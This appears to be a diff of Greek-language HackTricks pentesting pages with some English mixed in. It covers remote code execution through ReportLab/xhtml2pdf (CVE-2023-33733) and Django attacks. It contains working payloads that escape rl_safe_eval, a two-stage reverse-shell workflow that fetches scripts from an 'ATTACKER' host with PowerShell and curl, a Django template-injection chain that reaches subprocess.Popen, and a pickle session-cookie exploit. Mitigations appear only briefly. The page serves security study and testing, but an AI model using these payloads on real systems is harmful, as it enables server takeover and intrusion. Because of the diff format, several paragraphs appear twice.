<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
- Η μορφή με list-comprehension επιτρέπει μια μονοκλειστή έκφραση αποδεκτή από rl_safe_eval.
- Το τελικό and 'red' επιστρέφει ένα έγκυρο CSS color ώστε το rendering να μην σπάσει.
- Αντικαταστήστε την εντολή όπως χρειάζεται· χρησιμοποιήστε ping για να επικυρώσετε την εκτέλεση με tcpdump.
Operational workflow
1) Identify PDF generator
- Ο PDF Producer εμφανίζει xhtml2pdf; η HTTP απάντηση περιέχει σχόλιο ReportLab.
2) Find an input reflected into the PDF (e.g., profile bio/description) and trigger an export.
3) Verify execution with low-noise ICMP
- Εκτέλεση: sudo tcpdump -ni <iface> icmp
- Payload: ... system('ping <your_ip>') ...
- Τα Windows συχνά στέλνουν ακριβώς τέσσερα echo requests από προεπιλογή.
4) Establish a shell
- Για Windows, μια αξιόπιστη two-stage προσέγγιση αποφεύγει προβλήματα quoting/encoding:
- Stage 1 (download):
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
- Stage 2 (execute):
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
- Για Linux στόχους, παρόμοιο two-stage με curl/wget είναι εφικτό:
- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
Notes and tips
- Attribute contexts: το color είναι ένα γνωστό αξιολογούμενο attribute; άλλα attributes στο ReportLab markup μπορεί επίσης να αξιολογούν εκφράσεις. Αν μια θέση είναι sanitized, δοκιμάστε άλλες που αποδίδονται στη ροή του PDF (διαφορετικά πεδία, table styles, κ.λπ.).
- Quoting: Κρατήστε τις εντολές συμπαγείς. Οι two-stage λήψεις μειώνουν δραστικά τα προβλήματα quoting/escaping.
- Reliability: Αν οι εξαγωγές είναι cached ή queued, διαφοροποιήστε ελαφρώς το payload (π.χ., τυχαίο path ή query) για να αποφύγετε cache hits.
Mitigations and detection
- Αναβαθμίστε το ReportLab στην 3.6.13 ή νεότερη (CVE-2023-33733 fixed). Παρακολουθείτε επίσης advisories ασφαλείας σε πακέτα διανομής.
- Μην δίνετε user-controlled HTML/markup απευθείας σε xhtml2pdf/ReportLab χωρίς αυστηρό sanitization. Αφαιρέστε/απορρίψτε την αξιολόγηση [[[...]]] και vendor-specific tags όταν το input δεν είναι αξιόπιστο.
- Σκεφτείτε να απενεργοποιήσετε ή να τυλίξετε πλήρως τη χρήση του rl_safe_eval για μη αξιόπιστα inputs.
- Παρακολουθήστε για ύποπτες εξερχόμενες συνδέσεις κατά τη δημιουργία PDF (π.χ., ICMP/HTTP από servers εφαρμογής κατά την εξαγωγή εγγράφων).
References
- PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
- 0xdf University HTB write-up (πραγματική εκμετάλλευση, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
- NVD entry (affected versions): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
- xhtml2pdf docs (markup/page concepts): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -3,48 +3,57 @@
{{#include ../../banners/hacktricks-training.md}}
## Cache Manipulation to RCE
Η προεπιλεγμένη μέθοδος αποθήκευσης cache του Django είναι [Python pickles](https://docs.python.org/3/library/pickle.html), η οποία μπορεί να οδηγήσει σε RCE αν [μη αξιόπιστα δεδομένα αποσυμπιεστούν](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Αν ένας επιτιθέμενος μπορέσει να αποκτήσει δικαιώματα εγγραφής στην cache, μπορεί να κλιμακώσει αυτή την ευπάθεια σε RCE στον υποκείμενο διακομιστή**.
Η προεπιλεγμένη μέθοδος αποθήκευσης της cache στο Django είναι τα [Python pickles](https://docs.python.org/3/library/pickle.html), τα οποία μπορούν να οδηγήσουν σε RCE αν [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **If an attacker can gain write access to the cache, they can escalate this vulnerability to RCE on the underlying server**.
Η cache του Django αποθηκεύεται σε μία από τέσσερις τοποθεσίες: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [μνήμη](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [αρχεία](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ή μια [βάση δεδομένων](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Η cache που αποθηκεύεται σε έναν διακομιστή Redis ή σε μια βάση δεδομένων είναι οι πιο πιθανές διαδρομές επίθεσης (Redis injection και SQL injection), αλλά ένας επιτιθέμενος μπορεί επίσης να είναι σε θέση να χρησιμοποιήσει την cache βασισμένη σε αρχεία για να μετατρέψει μια αυθαίρετη εγγραφή σε RCE. Οι συντηρητές έχουν χαρακτηρίσει αυτό ως μη ζήτημα. Είναι σημαντικό να σημειωθεί ότι ο φάκελος αρχείων cache, το όνομα πίνακα SQL και οι λεπτομέρειες του διακομιστή Redis θα διαφέρουν ανάλογα με την υλοποίηση.
Η cache του Django αποθηκεύεται σε ένα από τέσσερα σημεία: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ή μια [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Η cache που είναι αποθηκευμένη σε Redis server ή σε database αποτελεί τα πιο πιθανά σημεία επίθεσης (Redis injection και SQL injection), αλλά ένας attacker μπορεί επίσης να χρησιμοποιήσει file-based cache για να μετατρέψει ένα arbitrary write σε RCE. Οι maintainers έχουν χαρακτηρίσει αυτό ως non-issue. Είναι σημαντικό να σημειωθεί ότι ο φάκελος των cache files, το όνομα του SQL table, και οι λεπτομέρειες του Redis server θα διαφέρουν ανάλογα με την υλοποίηση.
Αυτή η αναφορά του HackerOne παρέχει ένα εξαιρετικό, αναπαραγώγιμο παράδειγμα εκμετάλλευσης της cache του Django που αποθηκεύεται σε μια βάση δεδομένων SQLite: https://hackerone.com/reports/1415436
This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436
---
## Server-Side Template Injection (SSTI)
Η Γλώσσα Προτύπων Django (DTL) είναι **Turing-complete**. Αν τα δεδομένα που παρέχονται από τον χρήστη αποδοθούν ως *string προτύπου* (για παράδειγμα καλώντας `Template(user_input).render()` ή όταν το `|safe`/`format_html()` αφαιρεί την αυτόματη απόδραση), ένας επιτιθέμενος μπορεί να επιτύχει πλήρη SSTI → RCE.
The Django Template Language (DTL) is **Turing-complete**. If user-supplied data is rendered as a *template string* (for example by calling `Template(user_input).render()` or when `|safe`/`format_html()` removes auto-escaping), an attacker may achieve full SSTI → RCE.
### Detection
1. Αναζητήστε δυναμικές κλήσεις σε `Template()` / `Engine.from_string()` / `render_to_string()` που περιλαμβάνουν *οποιαδήποτε* μη απολυμασμένα δεδομένα αιτήματος.
2. Στείλτε ένα payload βασισμένο σε χρόνο ή αριθμητικό:
1. Look for dynamic calls to `Template()` / `Engine.from_string()` / `render_to_string()` that include *any* unsanitised request data.
2. Send a time-based or arithmetic payload:
```django
{{7*7}}
```
Αν η αποδοθείσα έξοδος περιέχει `49`, η είσοδος έχει μεταγλωττιστεί από τον μηχανισμό προτύπων.
If the rendered output contains `49` the input is compiled by the template engine.
### Primitive to RCE
Ο Django αποκλείει την άμεση πρόσβαση στο `__import__`, αλλά το γραφικό αντικειμένων Python είναι προσβάσιμο:
Django blocks direct access to `__import__`, but the Python object graph is reachable:
```django
{{''.__class__.mro()[1].__subclasses__()}}
```
Βρείτε τον δείκτη του `subprocess.Popen` (≈400500 ανάλογα με την έκδοση του Python) και εκτελέστε αυθαίρετες εντολές:
Βρείτε το index του `subprocess.Popen` (≈400500 ανάλογα με το build του Python) και εκτελέστε αυθαίρετες εντολές:
```django
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
```
Ένα πιο ασφαλές καθολικό εργαλείο είναι να επαναλαμβάνετε μέχρι `cls.__name__ == 'Popen'`.
Ένα πιο ασφαλές καθολικό gadget είναι να επαναλαμβάνετε μέχρι `cls.__name__ == 'Popen'`.
Το ίδιο εργαλείο λειτουργεί για τις δυνατότητες απόδοσης προτύπων **Debug Toolbar** ή **Django-CMS** που χειρίζονται λανθασμένα την είσοδο του χρήστη.
Το ίδιο gadget λειτουργεί για τις δυνατότητες template rendering του **Debug Toolbar** ή του **Django-CMS** που χειρίζονται εσφαλμένα την είσοδο χρήστη.
---
## RCE με Cookie Συνεδρίας Βασισμένο σε Pickle
Εάν η ρύθμιση `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` είναι ενεργοποιημένη (ή ένας προσαρμοσμένος σειριαστής που αποσυμπιέζει pickle), το Django *αποκρυπτογραφεί και αποσυμπιέζει* το cookie συνεδρίας **πριν** καλέσει οποιονδήποτε κωδικό προβολής. Επομένως, η κατοχή ενός έγκυρου κλειδιού υπογραφής (το `SECRET_KEY` του έργου από προεπιλογή) είναι αρκετή για άμεση απομακρυσμένη εκτέλεση κώδικα.
### Δείτε επίσης: ReportLab/xhtml2pdf PDF export RCE
Εφαρμογές που βασίζονται σε Django συχνά ενσωματώνουν xhtml2pdf/ReportLab για να εξάγουν views ως PDF. Όταν HTML υπό έλεγχο χρήστη περνάει στη δημιουργία PDF, rl_safe_eval μπορεί να αξιολογήσει εκφράσεις μέσα σε τριπλές αγκύλες `[[[ ... ]]]`, επιτρέποντας εκτέλεση κώδικα (CVE-2023-33733). Λεπτομέρειες, payloads και mitigations:
### Απαιτήσεις Εκμετάλλευσης
* Ο διακομιστής χρησιμοποιεί `PickleSerializer`.
* Ο επιτιθέμενος γνωρίζει / μπορεί να μαντέψει το `settings.SECRET_KEY` (διαρροές μέσω GitHub, `.env`, σελίδες σφαλμάτων κ.λπ.).
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
{{#endref}}
### Απόδειξη της Έννοιας
---
## RCE σε Session Cookie με Pickle
Αν η ρύθμιση `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` είναι ενεργοποιημένη (ή υπάρχει custom serializer που απο-σειριοποιεί pickle), το Django *αποκρυπτογραφεί και unpickles* το session cookie **πριν** καλέσει οποιονδήποτε κώδικα view. Επομένως, η κατοχή ενός έγκυρου signing key (το project `SECRET_KEY` εξ ορισμού) είναι αρκετή για άμεση απομακρυσμένη εκτέλεση κώδικα.
### Απαιτήσεις Exploit
* Ο server χρησιμοποιεί `PickleSerializer`.
* Ο επιτιθέμενος γνωρίζει / μπορεί να μαντέψει το `settings.SECRET_KEY` (leaks via GitHub, `.env`, σελίδες σφαλμάτων, κ.λπ.).
### Proof-of-Concept
```python
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
@ -58,22 +67,23 @@ return (os.system, ("id > /tmp/pwned",))
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
```
Στείλτε το αποτέλεσμα cookie, και το payload εκτελείται με τις άδειες του WSGI worker.
Στείλτε το προκύπτον cookie — το payload θα εκτελεστεί με τα δικαιώματα του WSGI worker.
**Μειώσεις**: Διατηρήστε τον προεπιλεγμένο `JSONSerializer`, περιστρέψτε το `SECRET_KEY`, και ρυθμίστε το `SESSION_COOKIE_HTTPONLY`.
**Μέτρα μετριασμού**: Κρατήστε τον προεπιλεγμένο `JSONSerializer`, ανανεώστε το `SECRET_KEY`, και ρυθμίστε το `SESSION_COOKIE_HTTPONLY`.
---
## Πρόσφατα (2023-2025) Υψηλής Επίδρασης CVEs Django που πρέπει να ελέγξουν οι Pentesters
* **CVE-2025-48432** *Εισαγωγή Καταγραφής μέσω μη διαφυλαγμένου `request.path`* (διορθώθηκε 4 Ιουνίου 2025). Επιτρέπει στους επιτιθέμενους να μεταφέρουν νέες γραμμές/κωδικούς ANSI σε αρχεία καταγραφής και να δηλητηριάσουν την ανάλυση καταγραφής. Επίπεδο patch ≥ 4.2.22 / 5.1.10 / 5.2.2.
* **CVE-2024-42005** *Κρίσιμη SQL injection* στο `QuerySet.values()/values_list()` στο `JSONField` (CVSS 9.8). Δημιουργήστε κλειδιά JSON για να σπάσετε την παράθεση και να εκτελέσετε αυθαίρετη SQL. Διορθώθηκε στην 4.2.15 / 5.0.8.
## Πρόσφατες (2023-2025) CVE υψηλής σημασίας του Django που πρέπει να ελέγξουν οι Pentesters
* **CVE-2025-48432** *Log Injection via unescaped `request.path`* (διορθώθηκε 4 Ιουνίου 2025). Επιτρέπει σε επιτιθέμενους να εισάγουν newlines/ANSI codes σε αρχεία καταγραφής και να μολύνουν τις επόμενες αναλύσεις καταγραφών. Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2.
* **CVE-2024-42005** *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). Δημιουργήστε κλειδιά JSON που παραβιάζουν τα εισαγωγικά και εκτελούν αυθαίρετο SQL. Διορθώθηκε στις εκδόσεις 4.2.15 / 5.0.8.
Πάντα να αναγνωρίζετε την ακριβή έκδοση του framework μέσω της σελίδας σφάλματος `X-Frame-Options` ή του hash του `/static/admin/css/base.css` και να δοκιμάζετε τα παραπάνω όπου είναι εφαρμόσιμο.
Πάντα κάντε fingerprint την ακριβή έκδοση του framework μέσω της σελίδας σφάλματος `X-Frame-Options` ή του hash του `/static/admin/css/base.css` και δοκιμάστε τα παραπάνω όπου εφαρμόζεται.
---
## Αναφορές
* Ασφαλής έκδοση Django "Django 5.2.2, 5.1.10, 4.2.22 διευθύνει το CVE-2025-48432" 4 Ιουνίου 2025.
* OP-Innovate: "Η Django κυκλοφορεί ενημερώσεις ασφαλείας για να αντιμετωπίσει την αδυναμία SQL injection CVE-2024-42005" 11 Αυγούστου 2024.
* Έκδοση ασφάλειας Django "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" 4 Ιουνίου 2025.
* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" 11 Αυγούστου 2024.
* 0xdf: University (HTB) Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
{{#include ../../banners/hacktricks-training.md}}